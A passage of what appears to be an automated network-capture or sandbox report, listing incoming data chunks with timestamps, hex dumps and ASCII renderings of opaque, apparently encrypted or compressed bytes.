2a c5 b1 8f 01 61 66 72 dd f8 60 31 f4 27 46 a9 f5 a1 3a aa 10 68 73 79 5c 7c 3b 05 ee e2 94 0f ad 50 84 4a 73 99 38 aa e0 83 d7 9d ec d2 63 b7 ab f9 56 04 1c 6b a5 de 99 fd f0 fb Data Ascii: 0D.qM!;8h,!\|e[COKw9j68"G?~^25Wd9gPOF'1f{<[cu0!m,/ckEcC7A]XUT7^bP!WD?\|rv(zF%5yTVgDafr`1'F:hsy\\|;PJs8cVk
2021-12-28 17:13:33 UTC	1191	IN	Data Raw: 12 f9 a9 4e ad f5 6e 52 b4 24 30 39 d5 26 5f 7e f0 b6 9b 86 a4 09 a0 69 ae fa b5 cd 06 bb 7c 41 71 c0 6f fd d5 9a cc 4d af 69 d6 5b a2 93 8a d2 76 1b e2 c1 68 21 66 12 8b 59 29 d6 f4 b3 d2 6b 8d 16 0d 8d ff 46 38 b7 03 f5 d0 b9 4d dd 5e 73 45 6b 62 53 2a 82 20 b6 9a 69 13 43 e3 36 14 44 31 3c f4 d6 7b 16 90 62 29 87 39 94 85 03 67 a5 a7 11 84 90 36 61 09 60 f4 ff 6f 02 ed 2e 94 25 62 4f 79 fe 7b fb 7c ef c9 94 79 2d a0 7b d1 d5 d0 54 16 65 7d 8b 0e 38 db d3 bd bd 70 d2 ea dd 7c 8a ea d8 28 a4 5b ac c4 a2 8e 1c 8c 06 81 2e 15 26 4e 2a da 3e 71 be 9d 86 aa 12 a1 2e 8d a9 58 f1 21 e4 3f 2d 24 7c 45 9b 65 fc ba af 9a 1d 14 ba c3 39 7e 16 6b 43 83 1a a4 4c e4 64 d1 7a 82 e8 34 f9 58 b3 2a 80 40 9c 63 57 83 5d 99 10 4f 20 34 78 0c c1 f7 31 90 84 50 c6 5e 44 87 Data Ascii: NnR$09&_~i\|AqoMi[vh!fY)kF8M^sEkbS* iC6D1<{b)9g6a`o.%bOy{\|y-{Te}8p\|([.&N>q.X!?-$\|Ee9~kCLdz4X@cW]O 4x1P^D
2021-12-28 17:13:33 UTC	1207	IN	Data Raw: a7 9b f2 a2 ce 97 3e 7e 18 75 c8 85 29 ed 22 a4 35 22 ef f8 7e 44 9e 2b 25 5f e2 79 8e 81 6e d2 4c 84 5e 70 bd 81 1c 0e c6 52 d1 f3 3e 0b 9d d3 19 53 d3 eb 26 95 f8 7b e1 34 a0 23 f9 d8 0b 05 f4 36 6b cb b2 79 69 07 95 a9 14 b0 5c 47 fe 27 4a fb 63 ca 83 f5 0e 37 5b c3 f2 98 1f ca b4 98 4b 64 c5 ec 55 80 91 59 3e db f2 5b 92 f4 62 6d fd 54 63 04 c1 31 49 82 9b d9 30 ea 4b ca d4 72 9d a7 62 6b fa 00 74 7d bf 90 0c d0 02 e6 b7 e2 de dc 11 74 52 a7 f2 67 93 c6 4b cd 3c 4b 97 53 93 0b 04 6f e0 13 1c d0 d3 ad 54 d7 27 85 b0 84 21 2f 30 ab a7 fb 53 96 09 02 e8 03 7d f6 3d 84 1a 41 f3 11 61 c8 8d 01 d5 56 0c 05 c8 c0 7b 10 99 bd 6f 7d 65 55 a6 11 29 ba 39 77 8c 12 bc 64 25 7a a5 43 32 10 6b e6 93 3a 7f 1f 50 2c c7 be 19 b0 5d e3 58 0b 19 8e 99 97 0f a3 7b 8d a9 Data Ascii: >~u)"5"~D+%_ynL^pR>S&{4#6kyi\G'Jc7[KdUY>[bmTc1I0Krbkt}tRgK<KSoT'!/0S}=AaV{o}eU)9wd%zC2k:P,]X{
2021-12-28 17:13:33 UTC	1211	IN	Data Raw: e5 45 c1 6e f2 d9 14 d6 4e 50 42 a1 13 41 a7 1e 95 7d 9d 8a 48 51 38 e2 21 84 a5 6b 32 25 40 84 d7 fe 13 59 62 1c 8e 1f 58 d3 fe cc 38 0c 3f e2 f1 65 21 4d 11 98 c9 9d db 68 e6 72 a7 9d 43 c2 a9 f4 fa f4 ec 48 ff ea b0 eb cc 52 38 18 4c 95 43 2a d3 7e 5d b3 03 41 e4 21 53 e8 67 88 40 2f 8b 9f a1 53 aa 96 a9 31 65 db 8e 54 fd ed d7 6a 91 ef 2a 18 d9 ff f8 ed 76 e9 73 1a 3b ee e3 38 83 03 22 c6 0b f4 61 ac a0 b9 d8 93 fb 66 e8 8c be 1e af e1 3d 0b fe 99 33 bd ca 3c e0 25 45 ab 4d 06 6c de c2 35 a2 fa aa 93 04 2f 80 0f 03 30 da bb b1 95 03 36 4c 3e b7 a4 fb b5 e7 6c 7b 55 b8 0a 0d d0 9f 58 85 d6 98 7d 3c f4 d9 81 69 24 3d ce 5e 82 54 3e 27 c0 7d 0b 0a 06 61 f3 49 50 76 6b 12 01 9c d0 fe 0a a7 a0 b8 52 fd e6 db 3e 16 f8 31 94 a1 89 9a 8c cd 41 fb 93 a6 c9 6d Data Ascii: EnNPBA}HQ8!k2%@YbX8?e!MhrCHR8LC~]A!Sg@/S1eTjvs;8"af=3<%EMl5/06L>l{UX}<i$=^T>'}aIPvkR>1Am
2021-12-28 17:13:33 UTC	1227	IN	Data Raw: c4 9c 2d e7 63 cd f1 01 3c 1a fd ad 29 b5 bd b9 4c e2 5f 0a 00 4a 66 eb 30 47 d7 c8 a1 b3 15 c5 6e f7 17 65 d4 9e a8 80 78 79 bb 5d 3c 03 80 f3 7e d8 eb 2b e7 12 f0 5e be 08 ce a7 cc 34 e5 74 36 60 bd 12 7f ed 06 26 cc b4 1b a7 a6 3e aa be 49 89 ad 6c 98 af a6 08 89 38 1a d1 b4 88 4e eb 55 6b 30 c2 10 c3 b1 48 31 f1 3d dc 93 78 7c 7e ff 2f f3 3e 07 a1 bf 37 44 bc 98 4e 5a bd 7a 60 a4 69 22 25 55 3f ef 5d a7 ef a5 38 ec 21 ce 6d c2 69 2e 41 1f 7e c9 da 90 86 a7 7a 51 24 44 80 95 23 ab 19 62 92 b7 29 9b 8f 0e a1 e1 3f 86 75 81 14 3d cf 14 96 fb 42 d0 f7 75 eb 8d a6 5d 29 26 b9 d7 49 ba 18 8d b0 23 bd f7 5e 45 82 58 1e d7 31 86 18 6d 1e 61 9b cf ee fe 81 b3 53 c7 30 44 10 99 66 75 97 f2 0b d7 ab 2c 59 81 cd 52 70 7a 13 96 3d 02 ef 63 b1 fe 73 97 c3 d6 b1 d0 Data Ascii: -c<)L_Jf0Gnexy]<~+^4t6`&>Il8NUk0H1=x\|~/>7DNZz`i"%U?]8!mi.A~zQ$D#b)?u=Bu])&I#^EX1maS0Dfu,YRpz=cs
2021-12-28 17:13:33 UTC	1243	IN	Data Raw: df 10 61 31 06 57 6c 9f 48 b8 0c 16 bd 2c 10 85 a8 21 87 4b 36 3e 46 71 ee e1 f5 7c 08 74 40 fa 7c 9f 0d ea 02 e0 a7 8b 69 a7 a9 ea 24 09 94 7d 54 65 00 c1 bf d6 76 40 0e 79 e7 45 dc 3a ca d1 61 c8 69 2a 43 d5 94 e9 86 17 dd 9b 2c 0a 97 bd fe 4a fb 54 8b f4 78 92 82 2b 28 e0 cd 5b 85 fc e1 75 5e ec 6c 91 ac 1d f0 d0 7d 11 c0 5e 3c 56 50 06 ee 16 65 ad 34 e1 93 d9 47 eb 57 b8 a2 f1 d2 04 09 9b ab 2e a0 b9 d7 8e 3f 6a c5 f2 de 3d a1 82 57 fe 25 86 e1 33 92 b0 ca 92 60 e5 cd 97 2a fd ed b6 ab e1 14 f3 2c 49 fb 17 4f 93 4b df ef 28 b5 7a e7 9a 0e f2 1e c3 28 9b ae 2a 34 fb 05 38 e9 bd 46 ab c7 6e 6f 9d fc c0 68 38 80 12 3b db 61 d9 bc bf 22 58 9c 45 a6 0f 3e f1 53 dd b8 6a 36 8d 8d ca 51 30 d4 51 65 db 0e f7 b1 ee 63 fd 8b 81 c6 7d c2 11 cc b3 a7 79 d6 c3 7a Data Ascii: a1WlH,!K6>Fq\|t@\|i$}Tev@yE:aiC,JTx+([u^l}^<VPe4GW.?j=W%3`,IOK(z(*48Fnoh8;a"XE>Sj6Q0Qec}yz
2021-12-28 17:13:33 UTC	1259	IN	Data Raw: ec 63 ad 4a dd 45 62 91 a1 db 15 1a f9 db 28 75 12 07 1a 82 f8 6e 05 64 c6 53 5f dc f4 6c 13 02 79 c6 22 9c 01 01 30 cd 4a fb f1 dd 67 38 10 4c 1d 28 e7 47 20 1d 76 25 33 28 ee ff b2 cf 10 56 06 1b f9 90 7f 7b ec 2d 6f f4 6b 11 cb e1 19 11 bc 90 18 24 d2 0e e9 66 03 e3 f5 01 7d 62 3a 93 24 a5 ca 2d aa f2 2e d6 ae f6 f4 8e 53 dc 0b 64 be 8e 87 3e 06 d6 f7 5d 02 2f de 50 5a 91 36 fe 1a 03 6c 05 5e af 50 1e 42 9d 3e 78 1f 8b 78 1c 4b 61 55 8f 8b 6a 77 1a 02 42 11 7a 6b 71 af 2b a7 a3 b5 f6 a9 d6 27 b9 3d 5b 49 e1 b1 ca e2 d8 91 5c a3 21 5a 71 f6 87 1c 25 24 70 73 41 37 27 1d ef 6c 69 b9 16 c0 f2 1d f8 69 69 26 cc 63 91 dd 37 90 1d 57 3c 6a e5 48 b8 dd e8 91 4f 36 e9 e5 cf 4a 6d 17 56 e9 6c 7f c8 51 e4 33 c3 6f e4 f5 71 9c af ef 33 25 84 29 c5 a9 25 b3 c1 6e Data Ascii: cJEb(undS_ly"0Jg8L(G v%3(V{-ok$f}b:$-.Sd>]/PZ6l^PB>xxKaUjwBzkq+'=[I\!Zq%$psA7'liii&c7W<jHO6JmVlQ3oq3%)%n
2021-12-28 17:13:33 UTC	1275	IN	Data Raw: cc 73 97 6d c2 52 7e c8 a4 eb 3d 0a 06 7d 9e 12 0b 19 9a 5f b9 ba 34 aa 19 9b 09 75 d2 d8 61 8d 1e fc 80 7a cd 2b 7b 2e 91 6c 9a c4 cd e9 b6 64 ec a8 eb fe e0 29 d0 ef 25 98 06 66 f2 0e c7 af c3 17 fa 63 06 e2 53 6e 73 38 79 6b 22 39 3d b3 d6 f9 c2 f7 42 05 52 8b 0b c0 9e 6b 1a 98 14 49 f1 c2 82 e4 d1 ad 86 1a 0c ea 74 43 e3 bf 53 ea a8 28 a5 06 f1 8b 9f 5d 24 21 03 5e a6 04 e5 93 50 66 98 54 c1 ef aa 55 8e cc ac 83 5d 24 04 cb 97 a8 7a 7a 90 53 50 c5 7a d2 51 85 27 27 fe 0f 43 dc 05 f4 5a 78 68 40 4e 6e 4e e6 f5 3b 2f 78 ab 77 89 59 50 90 8d 70 71 1c dc 2d 79 2b ba f3 57 2b 7c 3d 1d 02 e8 4c 3d 32 fe 33 88 b5 34 13 2d 38 88 08 9b 0d 79 52 5f bf 50 d5 8b fe a3 5b 19 70 9b 1e 1d b5 fe 61 8c 0e 33 41 85 bc 08 b8 e1 f7 7a 26 bd 88 3f 2f 87 60 41 ef e7 14 67 Data Ascii: smR~=}_4uaz+{.ld)%fcSns8yk"9=BRkItCS(]$!^PfTU]$zzSPzQ''CZxh@NnN;/xwYPpq-y+W+\|=L=234-8yR_P[pa3Az&?/`Ag
2021-12-28 17:13:33 UTC	1291	IN	Data Raw: 7a c1 79 38 6d 5b 72 de ed 7f 50 40 f6 70 22 8e 49 f4 81 fd e5 b1 e5 66 01 d8 ee 29 16 6f 16 ca 12 e7 4e 3a 8d a2 36 0c ce 76 62 0a 76 b6 9a b6 02 10 7d 9f 36 a7 b1 92 20 ba 9d 0b 3b 89 dc ee 46 ff 76 28 c1 08 b1 e7 fb e5 69 4c a4 69 8f 61 c8 8f 5d d1 d5 ab fb d3 57 25 e3 68 30 1c 87 b5 ab 2e a9 56 bf 5f 94 6c e1 1d 02 99 b8 01 cd 3b 7f f6 f8 44 64 cc de d1 ab 66 05 8e 20 f3 2e 6d 36 36 6b 63 ce 55 f0 42 fc a9 e3 60 62 48 67 87 55 be 55 5b e8 86 ce 82 13 58 5a 79 ba ba c8 40 49 91 7c 6b 2d 78 d6 30 fc 97 5f 4b e0 6d e3 2d 6f 45 f6 48 05 f5 7e c1 19 26 28 a8 c7 fb d9 56 1a c8 e4 15 d4 c6 02 34 e0 bc 45 73 54 8e f3 f9 4a 15 c7 8e a0 11 b9 e0 38 3e 12 89 95 4b c6 83 98 81 2f 09 bf 44 cb e7 28 94 81 ed 71 41 d7 1c 45 6a 90 b0 dc 18 25 32 b4 e1 bc b6 f5 a4 5a Data Ascii: zy8m[rP@p"If)oN:6vbv}6 ;Fv(iLia]W%h0.V_l;Ddf .m66kcUB`bHgUU[XZy@I\|k-x0_Km-oEH~&(V4EsTJ8>K/D(qAEj%2Z
2021-12-28 17:13:33 UTC	1307	IN	Data Raw: 47 83 3c 58 e4 35 b5 70 72 a0 ae 4e 01 3c 56 6a 50 dc 9d 23 2c 96 3b 52 8b 8e 92 41 6f 59 4f c4 50 a6 66 5c fa 31 41 ac 30 c9 44 b9 71 7e a7 63 c6 72 97 f1 b7 90 cf d0 9f 80 42 d5 fd 27 01 3c f0 4d 83 8e f8 12 f5 c2 62 48 1d 9f 4b eb 8d 4f 2a d6 12 14 0b ad 56 c7 65 4f 89 ed a6 aa de 9c 2c a9 6a dd 3d ae e7 18 2d b3 6d fb e1 97 05 1c 68 ac 8f c2 dd c4 ec e5 a6 e2 6c de 16 8e 62 80 98 55 2d 72 9b 0d 92 d6 58 6e 55 b1 d1 d6 39 4a 9a 95 f9 6e ac 4a 67 2b 8f 0f 05 c7 7b 6c af 96 92 c3 22 1f 90 a9 c2 a5 62 82 0f e3 03 58 5a eb 44 22 ca ad 57 d1 d6 4f 22 9e ff 48 08 d4 6b 16 fb ec da 2f 18 dc 71 03 0e b1 ee dd 12 2c 8a bb 2e d8 1b 23 df 56 ec 32 ec cd b8 a4 f3 e9 d9 b8 e8 98 f7 b7 6e 5d ca 92 0a 8c a8 69 c5 da e5 fc 52 36 1b 52 6f a4 87 b0 4d 71 5a 1d ce 96 df Data Ascii: G<X5prN<VjP#,;RAoYOPf\1A0Dq~crB'<MbHKO*VeO,j=-mhlbU-rXnU9JnJg+{l"bXZD"WO"Hk/q,.#V2n]iR6RoMqZ
2021-12-28 17:13:33 UTC	1323	IN	Data Raw: 8a ce 96 eb 3f 41 ce 54 a9 7a c2 f1 02 4b 7e 69 76 99 f5 a1 38 c3 a3 4f 58 4c b2 75 87 21 93 06 c6 c0 ad 72 0b 70 ff b5 b0 a1 6e 83 80 42 8c 0c f3 9e 93 b0 b0 7a 53 dc b0 e5 ba 02 c9 ba 41 81 c3 69 0c 56 f7 9c d8 77 3e 5a cd fd 6a ab 5d 92 3a bd c3 e1 a1 53 fa d0 c6 c0 83 14 30 57 2f dd b9 99 dd 6a 9a 7c 42 b3 e1 dd 37 3b 1e 5c 1d c6 fb 87 de f8 27 bb 79 1b c6 e3 cf b2 2a 5d 91 ae 31 f1 24 b3 13 12 f3 9e e7 07 06 aa 99 eb c7 aa e8 7b 03 20 05 b9 3b 09 d4 95 ef f2 92 5e c3 d2 ed 0e 16 5a 6f c3 c9 47 56 5f ec 81 6e f1 4c a2 48 a0 1c 6a dc 1d 0b 77 a9 b3 47 9c af a5 fb be 08 8c dc bd 46 a9 29 87 fa 17 b8 01 90 79 7b 29 b2 b2 2f 1a 57 42 77 04 00 e3 3e ee b1 f0 1e 27 cd 12 0e 04 73 9e 4e 65 85 8a 37 4b 8d 4a ee a5 0f 39 81 f9 88 37 2c be 4b dc f4 d2 a1 e0 ef Data Ascii: ?ATzK~iv8OXLu!rpnBzSAiVw>Zj]:S0W/j\|B7;\'y*]1${ ;^ZoGV_nLHjwGF)y{)/WBw>'sNe7KJ97,K
2021-12-28 17:13:33 UTC	1339	IN	Data Raw: e3 7f 36 27 32 9b a9 47 50 16 27 13 e6 5f a5 1e 5e f2 e6 c5 17 ec 39 bd 93 75 6c aa 4b c1 fe f6 a4 80 6b 02 74 76 f6 c9 0e 9c 3f e1 c8 2e e3 f1 75 ef d8 a4 5c 74 cb 37 96 d9 ca e4 13 f3 4b 8f 24 c3 6b 9a b4 51 67 f8 8a 4c 80 8c 63 ae c7 aa 0a 56 17 59 9d a6 fe 6f 10 1c 61 db 13 d6 ef d4 69 de 8b 88 b0 d9 90 c2 bc 87 fe ed 4e b0 44 18 64 44 92 8f 0e 64 ee d9 9a 86 45 5e 5e 69 21 c6 e5 e1 4e 04 9b cc 64 6a a4 7a 17 62 2e 80 b4 72 a9 2d 16 02 69 65 05 9f da f9 bc 5e 91 b4 47 19 66 c2 14 3f 97 37 1e 7c aa be 5f d3 eb 99 fd 2c fe b3 71 f4 37 88 a8 7e d7 ce 13 7b 71 ff fe e0 e4 ea 29 35 e8 44 65 b4 13 70 8a 1e de c8 2b 0f d4 ee fb 60 4f 42 74 e2 c6 f7 16 c6 14 58 cb 96 a7 9c a4 f1 6f 77 1a c4 39 46 d6 0b cf 0a 5e 65 74 57 a6 f1 ef 79 bf ba a4 a4 0e fb 22 23 54 Data Ascii: 6'2GP'_^9ulKktv?.u\t7K$kQgLcVYoaiNDdDdE^^i!Ndjzb.r-ie^Gf?7\|_,q7~{q)5Dep+`OBtXow9F^etWy"#T
2021-12-28 17:13:33 UTC	1355	IN	Data Raw: 29 bd 0f b7 67 d1 8b 44 ec 41 9b c5 3f 97 a5 57 78 68 8f 26 de 19 b8 1c 66 5f 19 d5 91 14 38 02 9e 56 db a3 40 24 fb 4b 3c 0c 77 5f 98 f4 e8 f2 4b 31 32 36 3d 3f 7c 06 a0 7c 96 c3 dd a5 01 85 26 fb b5 8c 58 49 8a af 43 4f e0 4e b8 48 d8 48 94 41 64 07 9b 18 44 8b 70 9c c8 b0 27 66 99 46 7f 8d 85 b8 ce 5a 0c 2b dd 9e 1b 70 d4 c7 c5 fb 8d 97 11 35 43 46 32 09 12 11 59 a6 ce 15 81 fa 2e c4 da f7 3b 40 6f 04 96 9b 7d 09 03 ee 87 c5 7d e0 8c 61 11 83 b9 73 3f be af cb f7 cc ec 51 b7 53 e9 5c 0a 29 da 71 a1 65 46 af 45 94 21 27 c0 ae 95 19 8a 91 a7 60 13 ca cb b2 2a ed 69 82 0e cf 46 16 05 18 38 56 04 f8 68 05 ed 0f 61 d4 5d 9b 94 76 37 c6 99 dd d5 e3 06 2a 4f 80 a3 70 c3 0e 0b 05 44 29 47 3a e5 d3 7d f3 e8 e4 70 44 75 94 7d b8 f6 a8 3f b8 08 3c bd 0c 3d f2 71 Data Ascii: )gDA?Wxh&f_8V@$K<w_K126=?\|\|&XICONHHAdDp'fFZ+p5CF2Y.;@o}}as?QS\)qeFE!'`iF8Vha]v7OpD)G:}pDu}?<=q
2021-12-28 17:13:33 UTC	1371	IN	Data Raw: c2 03 51 8b 69 76 89 e2 6c 75 30 da e3 84 8d eb 35 93 dd f0 02 b7 66 81 7d 93 9b f5 76 99 21 55 f1 e4 9b 36 a9 97 a3 b8 58 5d ab dc 3a 46 6f a4 0d 44 3b 01 09 1a df 0d e7 4f e2 af 2f 7a 5f be ad a1 58 08 79 0e 0a 72 41 39 d9 5f ec 28 7d cf 96 89 b1 a8 a1 c9 29 0b 68 6e 80 9c 8b 21 3a 0b 7f 43 63 78 57 d4 91 ec 0e ab eb 81 75 03 3e 3a 3a ac c2 4d 0d 99 26 8d 2d e4 39 83 5b ab d0 ac 41 09 6a 9e 20 f6 09 37 4d f7 49 76 c5 98 da 03 8a 4b 32 c1 e8 86 eb 44 d3 4a 11 03 d5 20 6d 0c a3 ff 2a f9 2a a8 24 e6 fe b7 f3 60 19 36 19 a4 de f6 14 ec 0c 7a 5d 05 97 b8 d3 04 3c 0f 6c 92 6b 19 30 e3 1a 74 07 5a de 72 ee 9c f5 d1 1a 4a 0f 23 59 90 cf 2a 14 9b 12 2e d5 e5 40 d7 89 16 cc 47 a3 12 67 27 e2 a8 b7 fb f0 b3 40 20 ee 93 24 e9 4e e8 84 48 5c 14 4a fe 51 af d3 67 17 Data Ascii: Qivlu05f}v!U6X]:FoD;O/z_XyrA9_(})hn!:CcxWu>::M&-9[Aj 7MIvK2DJ m*$`6z]<lk0tZrJ#Y.@Gg'@ $NH\JQg
2021-12-28 17:13:33 UTC	1387	IN	Data Raw: 27 fa b2 e4 c7 be 4f f4 d9 8c c5 8d b9 c3 ec 05 af 63 0d 4e 43 d5 13 4e 89 e6 15 f1 6a 37 cb 08 32 0d ab 70 2e 98 74 f3 c8 39 ba a5 cc 73 07 c7 ef 56 59 0d 2c 81 da 99 e4 59 e3 6d 3b dd 4e 56 de 51 89 04 6d 8a 6f d3 13 8e 2e de ac 9a 25 54 73 f6 7f 3e 43 c2 f8 5a 44 2b a3 c0 c3 56 24 3f c7 f2 60 bf af 88 67 95 26 d1 fd 01 de 8d 4c 82 7f 27 28 18 97 67 63 40 bb 32 cd f4 ad 56 b2 f7 f0 ac f5 44 f9 b0 fa 3e cf 77 f9 84 da 81 4f d5 38 64 4f a3 69 83 76 dd af 9c f0 93 8b 6d c9 92 dc 4d fd e4 84 1c 35 08 0b 5e 0b 97 0d d1 13 ef fb 09 4b 28 4f 84 d4 fd 63 a0 72 57 0d dc b2 0d 0b 60 3d 23 13 55 ed 8b d2 a0 15 1f ac 4a f9 ef 7c 41 be ff 65 5a 8a 2f b8 04 8c 60 96 44 20 54 80 7a 88 00 de ec 40 58 d3 b1 fe 15 f3 36 4a bf b9 7e 0b 78 7f b6 3b 2c b3 60 83 8a 56 55 c9 Data Ascii: 'OcNCNj72p.t9sVY,Ym;NVQmo.%Ts>CZD+V$?`g&L'(gc@2VD>wO8dOivmM5^K(OcrW`=#UJ\|AeZ/`D Tz@X6J~x;,`VU
2021-12-28 17:13:33 UTC	1403	IN	Data Raw: a5 e0 1e ee 61 23 52 31 66 98 4d db fc 3e 50 8a 4e 63 bc f7 0c 4b e9 b9 8b 69 3c d1 f1 85 4e 6b e4 5f 0d f9 01 4d ff 42 80 92 64 c4 c4 f3 3a 9e 81 be 56 cc dd 88 55 40 40 2f 73 54 f7 67 90 e4 13 81 1a b1 78 c8 bc e7 a4 ee 39 16 aa 0f e1 2a 85 f5 8b 1e ad 01 80 1f b4 91 54 05 66 d8 50 fd 52 0a 5f 37 9b e9 df 8c 85 63 fb 40 a8 b3 8c 35 0f 1f 1c 99 cb 73 82 b9 9e b7 54 97 e9 81 dd 42 1a d1 31 1c f2 6d 91 bf a5 01 32 5e 53 38 99 28 2c e2 0b 5b f4 6f 54 fe 79 ab 1c 2e c9 16 4e 20 3e 7d ed de 50 aa 31 1a af 76 cc 75 eb 04 8f 72 59 41 64 5a a4 4c cf a3 4c 10 88 0e 67 03 46 d3 8f 7f b0 2b 4c 55 61 06 6b 94 43 22 24 cb 60 a9 d4 67 20 5a 9d ac 0a 1b 2a 4d 58 97 7d 50 fb b3 c8 7c ac 2d 64 93 c5 8b c9 6e 5b 79 db 39 0a 9d ea 59 c3 b6 39 c8 9f 7a e0 f3 7b 51 25 1d 97 Data Ascii: a#R1fM>PNcKi<Nk_MBd:VU@@/sTgx9TfPR_7c@5sTB1m2^S8(,[oTy.N >}P1vurYAdZLLgF+LUakC"$`g ZMX}P\|-dn[y9Y9z{Q%
2021-12-28 17:13:33 UTC	1419	IN	Data Raw: a7 28 17 d3 23 81 25 b3 dc 63 3a c5 10 bf 50 a9 6c a2 16 e9 9b e3 bb 5b e5 9d 15 c0 46 a8 74 32 0f 67 be b0 b1 b6 da 5d 66 ba 7d f9 e8 9f 4e 11 7b 38 ae b5 55 64 13 e0 cb e8 71 46 20 23 b1 16 58 42 93 95 29 c7 bb a0 09 71 d8 82 b3 ce c7 82 3a 01 22 d0 ba bd b9 6b b4 44 64 b7 d8 94 65 d0 cc e4 1e 34 59 50 63 95 6c ec bb 08 f9 6f 58 36 a3 89 b4 52 c1 d3 ca 3a 72 6f 05 41 47 64 82 11 52 82 d4 ae 89 05 fb 8e 2f 14 43 52 5b 1a 01 e5 ec aa 6e 46 20 1e fd 10 39 55 3b a8 0c 86 ed ae c2 3c 0c 92 a9 e5 b9 40 35 5d cf 5a dc 4a fb fa 9c 22 f9 51 e5 da 1c 27 5c f5 6b 0e 09 15 83 e1 19 cf 77 18 a1 00 30 3a c9 08 b7 d3 4e 9f 9a ed e6 34 26 bd d1 72 34 f5 d1 4a 3c ba 21 26 81 ea 03 37 e2 fa c0 14 00 a5 9b 83 37 fe 9e bb ef 2a f5 ac 6a b0 94 da 73 1e 8b 4f 95 68 db 5f 67 Data Ascii: (#%c:Pl[Ft2g]f}N{8UdqF #XB)q:"kDde4YPcloX6R:roAGdR/CR[nF 9U;<@5]ZJ"Q'\kw0:N4&r4J<!&77*jsOh_g
2021-12-28 17:13:33 UTC	1435	IN	Data Raw: b8 35 91 8f a9 4e b9 9e 3f 1b e8 01 4b db a0 e8 96 74 9b ec b5 40 f9 5c b2 cc 3c 23 a5 30 27 9e 8b 28 b3 cc 3b 0b 62 0f 17 db 7b 52 d8 27 be 0c e7 75 66 d4 38 08 cf 97 f5 21 8e cd f5 26 bb 18 eb eb 27 75 ee 1e 5f 41 66 3f e4 6c 28 b6 e4 10 91 9c d3 a5 38 88 0b e5 b8 75 4c d0 d6 39 b7 da 0a 22 e5 f2 68 54 52 ef ad 1a af 48 67 24 69 4c bd 79 1e 76 be 8a d9 5c 9b b3 d3 19 ab e9 15 17 6e 83 cc 13 31 d4 0c b6 7d 53 ca 2d ae 70 4b 6e b2 f7 7b b5 0c c8 95 a9 d5 82 b7 f1 e3 1a dd e8 64 32 df 44 7e 87 5f 0b b8 be 84 d0 b1 76 b3 3c 48 03 94 62 b8 9f f9 7b 4f 55 74 12 93 e0 de dc 43 ed 24 3e a9 3f 3e a1 61 26 f9 03 ac 9a bd c4 62 82 27 38 ff 5f 25 2b 0d e7 67 6a 7a 61 39 dc 73 c1 62 82 b2 25 cb e3 e3 89 d4 fd 8d de 36 4c f8 d6 d2 b2 44 6c 53 3c 94 c8 fe 45 55 56 62 Data Ascii: 5N?Kt@\<#0'(;b{R'uf8!&'u_Af?l(8uL9"hTRHg$iLyv\n1}S-pKn{d2D~_v<Hb{OUtC$>?>a&b'8_%+gjza9sb%6LDlS<EUVb
2021-12-28 17:13:33 UTC	1451	IN	Data Raw: bf f8 ce 37 0c bd c1 71 92 12 54 31 de 6c 36 3d 2c e9 a4 96 c1 30 d4 09 f0 0e 01 80 55 a3 09 1f d2 d0 ee 39 8c 1d 4b ef 69 5b df b4 8d a8 58 ad 8a 15 96 45 e8 b5 76 65 5f 8e 23 0a 76 30 a4 d1 86 bc 14 7e 0e 17 8a 0c 14 e7 40 4d f3 5a 34 5d d1 ab a2 c1 b3 2e f4 46 b0 d2 a3 aa 19 50 b6 f2 2e 68 17 15 44 f6 b0 2e b2 67 21 13 ce 8a 7f 88 89 3d ee e0 f7 18 39 6f a6 6b 07 35 72 a8 c9 7e d0 ab ee 81 5c 79 bb 88 00 c2 c0 27 66 4a 08 18 1b 2c 22 56 cd ed fa f7 a0 97 70 ba d7 0b c9 6d 58 04 57 e7 a7 42 0c e1 5d 1e 32 28 14 47 61 30 09 ae f2 13 43 51 f7 32 8c 9d e5 14 da 49 c1 e4 ec 03 2d a9 02 23 80 f2 f0 bf 36 91 a5 c5 7b 9a 2c b8 f4 4d da 99 aa 86 ae 3c b5 27 77 65 a2 77 13 b7 ac 56 45 70 c0 d7 a2 7f 86 b6 f3 05 4f d0 e1 9f 5d 16 c4 a2 a1 8e ec c3 08 70 16 0b af Data Ascii: 7qT1l6=,0U9Ki[XEve_#v0~@MZ4].FP.hD.g!=9ok5r~\y'fJ,"VpmXWB]2(Ga0CQ2I-#6{,M<'wewVEpO]p
2021-12-28 17:13:33 UTC	1467	IN	Data Raw: 72 b5 18 cd b7 a1 d3 c3 04 c0 ef 62 75 c1 66 92 88 52 ed a1 c0 5f 0b 8f c9 98 72 21 0b 2e 5f 3f c8 d0 16 68 65 df ca c9 db 83 cf 1b ce 2a 78 4e 32 c9 87 59 6d 21 68 d0 db 42 ff 1d 8a f4 6d 2a f9 e7 e4 80 2e 69 36 f1 fd 67 b3 11 f1 72 6a 51 e8 b5 12 4c 19 9c 4d 2d 50 5e 6f 17 f4 2f dd 26 04 1e e7 18 00 c1 33 ee 9a 8c 34 92 64 d7 e4 cf be cf 31 a4 ac dc 80 d4 05 b7 96 0e 0e 06 cd 8d f0 7a 26 d2 13 c0 ed 99 04 ca ad 01 2d 92 c7 ae 77 68 02 b9 bb e5 3e f4 ef f0 3f bf 99 ac 6b 13 88 da 8f f1 85 5f 42 c7 18 38 ba 7a ca 9a 04 d3 e0 fa bf fe a0 cd 0a c1 4e e6 53 a6 a1 df 50 0c 51 be ba 9e 29 8c 44 15 83 58 a9 bf 53 1a 45 f6 3b f0 37 ba 40 67 ac 55 73 ab 4f cc ab 1f 1e 31 76 7c 46 9c 6b b6 87 48 4c 18 e6 0f 4f 2e 53 b7 7b f3 87 a2 12 3a ae 0c f6 66 90 67 89 03 12 Data Ascii: rbufR_r!._?hexN2Ym!hBm.i6grjQLM-P^o/&34d1z&-wh>?k_B8zNSPQ)DXSE;7@gUsO1v\|FkHLO.S{:fg
